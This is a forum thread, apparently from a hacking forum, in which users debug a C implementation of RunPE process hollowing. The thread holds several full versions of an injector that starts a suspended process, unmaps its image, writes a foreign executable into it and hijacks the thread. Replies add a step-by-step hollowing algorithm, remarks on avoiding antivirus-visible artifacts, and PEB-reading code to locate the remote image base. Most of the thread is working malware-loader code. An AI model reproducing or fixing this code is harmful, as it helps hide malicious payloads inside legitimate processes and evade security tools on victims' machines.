• XSS.stack #1 – первый литературный журнал от юзеров форума

RunPE работает через раз

UMF

HDD-drive
Пользователь
Регистрация
21.03.2014
Сообщения
28
Реакции
4
Доброго времени суток. Прошу помочь разобраться. Есть кодес рунпе, срабатывает через раз.
C:
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;     
    PIMAGE_NT_HEADERS INH;     
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;   
    LPSTARTUPINFOW SI;           
    PCONTEXT CTX;             
    PDWORD dwImageBase;       
    LPVOID pImageBase;       
    DWORD SizeOfInject;
    int Count;     
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {
                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
                        NtUnmapViewOfSection(PI.hProcess, (PVOID)INH->OptionalHeader.ImageBase);
                    }
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}

можно сделать так
C:
            if (data[0] == 0x4D)
            {
                while(1)
                {
                    if (RunPE(szInjectPath, szSourcePath, data) == TRUE)
                    {
                        goto _next;
                    }
                }
            }
            _next:
            ExitProcess(0);
срабатывает в 9/10 случаев... как это сделать чтобы срабатывало сразу, где косяк?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
Да-да, таки хорошо, что мир давно начал переходить на 64-битные программы, а то для каждой маленькой структурки (которая вполне могла быть на стеке или в куче) сложно было бы память целыми страницами выделять.

По сабжу: так что и где не работает? Ты бы хоть результаты всех WinAPI-функций проверял для начала.
 
Да-да, таки хорошо, что мир давно начал переходить на 64-битные программы, а то для каждой маленькой структурки (которая вполне могла быть на стеке или в куче) сложно было бы память целыми страницами выделять.

По сабжу: так что и где не работает? Ты бы хоть результаты всех WinAPI-функций проверял для начала.
C:
                       WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;

конкретно вот в этом месте где-то косяк, потому что в случае косяка происходит TerminateProcess. А не работает оно через раз, на новых ОС типа вин10. Что интересно - стоит ребутнуть систему и все срабатывает как надо. АВ нету. в том то и дело что не отладить толком потому что через раз оно отрабатывает, хочу отловить ошибку а оно срабатывает как ни в чем ни бывало... это не на всех машинах косяк, лишь на некоторых. я ж вижу вы разбираетесь, так подскажите что я здесь не так сделал, на ваш взгляд? спасибо.
 
Вот сэмпл. Сорец и екзе.

Password: xss.pro

Попытка заинжектить hello world в cmd.exe

Отрабатывает криво и через раз. Где тут косяк может быть по вашему мнению ?
 

Вложения

  • TestInject.zip
    53.8 КБ · Просмотры: 24
Ага, начинаю что-то одуплть... короче вот здесь косяк
C:
if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
условие не выполняется и дальше ничо не происходит... как это поправить ? =)
 
Проблема с ImageBase. Не на всех машинах работает из за этого. как вычислить эту базу ?
you should read this first
 
So why you think your code will work if you do not restore IAT on it?
No need to fix IAT, it is not a PELoader, just RunPE (injection the image to another process (CreateProcess(CREATE_SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, SetThreadContext, ResumeThread). It works but not always, i have a problem with ImageBase. How to fix it u know? :) u can test my code it works in 9 out of 10 cases, but why?
 
здесь вот чуваки столкнулись с такой же проблемой. hxxps://yougame.biz/threads/282057/
не всегда удается получить ImageBase, иногда он нулевой. так в чем проблема, не пойму ?
 
If you learn your debugger and PE format, you can solve the problem.

Tip: If you replace one PE to another PE (not shellcode) in memory, you always must to restore IAT. Think about it.

example:
anyexe.exe use only ntdll, kernel32
payload.exe use only ntdll, kernel32, user32

call MesagesBoxW from payload.exe when you do your code works and inject it into anyexe.exe
 
Последнее редактирование:
да, анмап нужно делать в конце уже, спасибо за помощь, вот рабочий код
C:
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;     
    PIMAGE_NT_HEADERS INH;     
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;   
    LPSTARTUPINFOW SI;           
    PCONTEXT CTX;             
    PDWORD dwImageBase;       
    LPVOID pImageBase;       
    DWORD SizeOfInject;
    int Count;     
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;
    
    NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {
                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        Sleep(500);
                        NtUnmapViewOfSection(PI.hProcess, (PVOID)INH->OptionalHeader.ImageBase);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}
 
хм нет, нихера я не разобрался... можно это вообще без NtUnmapViewOfSection провернуть, тогда зачем он здесь нужен вообще?

может кто нибудь на пальцах объяснит, как это все работает ?

насчет VirtualAlloc, да, может и глупо но работает жеж этот момент... особо не ругайтесь, только учусь.
 
Последнее редактирование:
хм нет, нихера я не разобрался... можно это вообще без NtUnmapViewOfSection провернуть, тогда зачем он здесь нужен вообще?

может кто нибудь на пальцах объяснит, как это все работает ?

насчет VirtualAlloc, да, может и глупо но работает жеж этот момент... особо не ругайтесь, только учусь.
NtUnmapViewOfSection нужен что бы освободить занятую базу в целевом процессе и загрузить туда свой Image. Если нет релоков и ты загрузишь Image не по предпочтительной базе он не запустится.

Странный вообще у тебя код
классический RunPE работает по такому алго
1) Создаем замороженный процесс
2) Получаем контекст потока
3) NtUnmapViewOfSection - освобождаем базу
4) VirtualAllocEx + WriteProcessMemory - выделяем память на нужной базе (уже свободной ) и записываем туда Image
5) Устанавливаем контекст потока заполняя нужные регистры (нужно это что бы нормально отработала функция RtlCreateUserThread которая стартует первый поток при создании процесса и после отработки которой происходит настройка импортов, tls, релоков и тд)
6) ResumeThread
7) На этом все, процесс работает

Можно обойтись вообще без NtUnmapViewOfSection, но тогда у тебя в процессе будет 2 Image, а это уже артефакт, который очень не понравится антивирусам, и если нет релоков, то процесс не запустится на случайной базе
 
Последнее редактирование:
NtUnmapViewOfSection нужен что бы освободить занятую базу в целевом процессе и загрузить туда свой Image. Если нет релоков и ты загрузишь Image не по предпочтительной базе он не запустится.

Странный вообще у тебя код
классический RunPE работает по такому алго
1) Создаем замороженный процесс
2) Получаем контекст потока
3) NtUnmapViewOfSection - освобождаем базу
4) VirtualAllocEx + WriteProcessMemory - выделяем память на нужной базе (уже свободной ) и записываем туда Image
5) Устанавливаем контекст потока заполняя нужные регистры (нужно это что бы нормально отработала функция RtlCreateUserThread которая стартует первый поток при создании процесса и после отработки которой происходит настройка импортов, tls, релоков и тд)
6) ResumeThread
7) На этом все, процесс работает

Можно обойтись вообще без NtUnmapViewOfSection, но тогда у тебя в процессе будет 2 Image, а это уже артефакт, который очень не понравится антивирусам, и если нет релоков, то процесс не запустится на случайной базе
Благодарю душевно за разьяснения! Получается, Этот код ближе к верному
C:
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;     
    PIMAGE_NT_HEADERS INH;     
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;   
    LPSTARTUPINFOW SI;           
    PCONTEXT CTX;             
    PDWORD dwImageBase;       
    LPVOID pImageBase;       
    DWORD SizeOfInject;
    int Count;     
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {

                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
                        NtUnmapViewOfSection(PI.hProcess, dwImageBase);
                    }
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}
Вроде порядок такой, как Вы расписали =) Но почему то каждый третий-пятый запуск, после
C:
ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
dwImageBase == 0, всю голову уже сломал... Ну вот вроде работает но несколько попыток все ок, а потом база нулевая. Не отловить отладчиком ничего потому что под ним работает прекрасно. Возможно ли это, потому что вместо CreateProcess я использую CreateProcessAsUserW играюь с токенами? Но это мне нужно...
 
Благодарю душевно за разьяснения! Получается, Этот код ближе к верному
C:
BOOL RunPE(PWCHAR szFilePath, PWCHAR szCommandLine, PVOID pFile)
{
    typedef LONG (WINAPI *TD_NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

    BOOL bResult;
    PIMAGE_DOS_HEADER IDH;    
    PIMAGE_NT_HEADERS INH;    
    PIMAGE_SECTION_HEADER ISH;
    PROCESS_INFORMATION PI;  
    LPSTARTUPINFOW SI;          
    PCONTEXT CTX;            
    PDWORD dwImageBase;      
    LPVOID pImageBase;      
    DWORD SizeOfInject;
    int Count;    
    TD_NtUnmapViewOfSection NtUnmapViewOfSection;
    HANDLE hPToken;
    HANDLE hDupToken;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hPToken);
    DuplicateTokenEx(hPToken,TOKEN_ALL_ACCESS,NULL,SecurityImpersonation,TokenPrimary,&hDupToken);
    IDH = (PIMAGE_DOS_HEADER)pFile;
    if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
    {
        INH = (PIMAGE_NT_HEADERS)((DWORD)(pFile) + IDH->e_lfanew);
        if (INH->Signature == IMAGE_NT_SIGNATURE)
        {
            SI = (LPSTARTUPINFOW)VirtualAlloc(0, 1024, MEM_COMMIT, PAGE_READWRITE);
            if (CreateProcessAsUserW(hDupToken, szFilePath, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, SI, &PI))
            {

                CTX = (PCONTEXT)VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE);
                CTX->ContextFlags = CONTEXT_FULL;
                if (GetThreadContext(PI.hThread, (LPCONTEXT)CTX))
                {
                    ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
                    if ((DWORD)(dwImageBase) == INH->OptionalHeader.ImageBase)
                    {
                        NtUnmapViewOfSection = (TD_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtUnmapViewOfSection");
                        NtUnmapViewOfSection(PI.hProcess, dwImageBase);
                    }
                    INH->OptionalHeader.SizeOfStackCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfStackReserve = 0x00200000;
                    INH->OptionalHeader.SizeOfHeapCommit = 0x00002000;
                    INH->OptionalHeader.SizeOfHeapReserve = 0x00200000;
                    SizeOfInject = INH->OptionalHeader.SizeOfImage;
                    pImageBase = VirtualAllocEx(PI.hProcess, (LPVOID)(INH->OptionalHeader.ImageBase), SizeOfInject, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 0x3000
                    if (pImageBase)
                    {
                        WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                        for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                        {
                            ISH = (PIMAGE_SECTION_HEADER)((DWORD)(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                            WriteProcessMemory(PI.hProcess, (LPVOID)((DWORD)(pImageBase) + ISH->VirtualAddress), (LPVOID)((DWORD)(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                        }
                        WriteProcessMemory(PI.hProcess, (LPVOID)(CTX->Ebx + 8), (LPVOID)(&INH->OptionalHeader.ImageBase), 4, NULL);
                        CTX->Eax = (DWORD)(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                        SetThreadContext(PI.hThread, (LPCONTEXT)(CTX));
                        ResumeThread(PI.hThread);
                        bResult = TRUE;
                    }
                    else
                    {
                        TerminateProcess(PI.hProcess, 0);
                        bResult = FALSE;
                    }
                }
                VirtualFree(CTX, 0, MEM_RELEASE);
            }
            VirtualFree(SI, 0, MEM_RELEASE);
        }
    }
    CloseHandle(hPToken);
    CloseHandle(hDupToken);
    VirtualFree(pFile, 0, MEM_RELEASE);
    return bResult;
}
Вроде порядок такой, как Вы расписали =) Но почему то каждый третий-пятый запуск, после
C:
ReadProcessMemory(PI.hProcess, (LPCVOID)(CTX->Ebx + 8), (LPVOID)(&dwImageBase), 4, NULL);
dwImageBase == 0, всю голову уже сломал... Ну вот вроде работает но несколько попыток все ок, а потом база нулевая. Не отловить отладчиком ничего потому что под ним работает прекрасно. Возможно ли это, потому что вместо CreateProcess я использую CreateProcessAsUserW играюь с токенами? Но это мне нужно...

Процесс который холловится всегда такой же разрядности как и твой? Потому что код который написан тобой рассчитан на холловинг х86 процесса, если учесть что всегда холловится х86 процесс и через контекст выдаёт 0, то предлагаю брать базу основного модуля через пеб, пеб чужого проца можно получить через NtQueryInformationProcess

C++:
PROCESS_BASIC_INFORMATION remoteInfo;
ULONG uLen;

NtQueryInformationProcess_t NtQueryInformationProcess =
    (NtQueryInformationProcess_t)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");


if (!NtQueryInformationProcess(hProcess, PROCESSINFOCLASS::ProcessBasicInformation,
        &remoteInfo,
        sizeof(PROCESS_BASIC_INFORMATION),
        &uLen
    )) {

        UINT_PTR uiRemoteBaseAddr = 0;
        SIZE_T readCount;

        if(ReadProcessMemory(hProcess, 
            (LPCVOID)((UINT_PTR)remoteInfo.PebBaseAddress + offsetof(PEB, ImageBaseAddress)), 
            &uiRemoteBaseAddr, 
            sizeof(UINT_PTR), 
            &readCount)){
             //в uiRemoteBaseAddr у тебя теперь базовый адрес основного модуля
            }

      }
Хидер с нирсофтовским определением пеба и определением NtQueryInformationProcess_t прикрепляю
 

Вложения

  • Nt.txt
    11.8 КБ · Просмотры: 28


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх